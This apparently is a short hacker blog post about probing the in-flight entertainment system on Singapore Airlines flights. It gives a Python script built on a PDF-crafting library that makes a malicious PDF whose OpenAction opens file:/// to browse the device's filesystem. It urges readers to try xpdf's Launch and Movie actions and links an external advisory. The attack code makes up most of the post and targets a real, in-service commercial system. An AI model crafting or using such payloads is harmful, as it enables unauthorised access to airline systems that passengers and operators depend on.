Singaporean airlines entertainment system pwn

Here're some hints for your in-flight entertainment. If you're flying with singaporean airlines, they have a very nice in-flight entertainment system, apparently based on embedded linux, that among other things allows you to read your (p)OWN pdf files, play media files connect ipod and other shit. So I thought I'd prepare a couple of pdf files to play around next time I fly.

(you'll need mPDF class from Didier Stevens pdf tools:

#!/usr/bin/python

import mPDF
import sys
import optparse


def Main():
    parser = optparse.OptionParser(usage="usage %prog filename",
                      version="%prog 0.1")
    (options, args) = parser.parse_args()



    if len(args) != 1:
        parser.print_help()
        sys.exit(1)


    oPDF = mPDF.cPDF(args[0])
    oPDF.header();
    oPDF.indirectobject(1, 0, '<<\n /Type /Catalog\n /Outlines 2 0 R\n /Pages 3 0 R\n /OpenAction 7 0 R\n>>')
    oPDF.indirectobject(2, 0, '<<\n /Type /Outlines\n /Count 0\n>>')
    oPDF.indirectobject(3, 0, '<<\n /Type /Pages\n /Kids [4 0 R]\n /Count 1\n>>')
    oPDF.indirectobject(4, 0, '<<\n /Type /Page\n /Parent 3 0 R\n /MediaBox [0 0 612 792]\n /Contents 5 0 R\n /Resources <<\n             /ProcSet [/PDF /Text]\n             /Font << /F1 6 0 R >>\n            >>\n>>')
    oPDF.stream(5, 0, 'BT /F1 12 Tf 100 700 Td 15 TL (SG pwn) Tj ET')
    oPDF.indirectobject(6, 0, '<<\n /Type /Font\n /Subtype /Type1\n /Name /F1\n /BaseFont /Helvetica\n /Encoding /MacRomanEncoding\n>>')
    oPDF.indirectobject(7, 0, '<<\n /Type /Action\n /S /URI\n /URI (file:///)\n>>')

    oPDF.xrefAndTrailer('1 0 R')

if __name__ == '__main__':
    Main()

Feel free to play with other shit. they seem to use xpdf for rendering, so there is also ActionLaunch, ActionMovie, etc.. not sure of their config yet thu (see details here ).

Also these things could be also useful: http://www.securiteam.com/unixfocus/6M0012AKAW.html (most likely ARM cpu)

UPD: (from anonymous friend): "they are using eX2 IFE from Panasonic Avionics. CPUs are x86 (VIA), not ARM." :-)
more details to come ;-)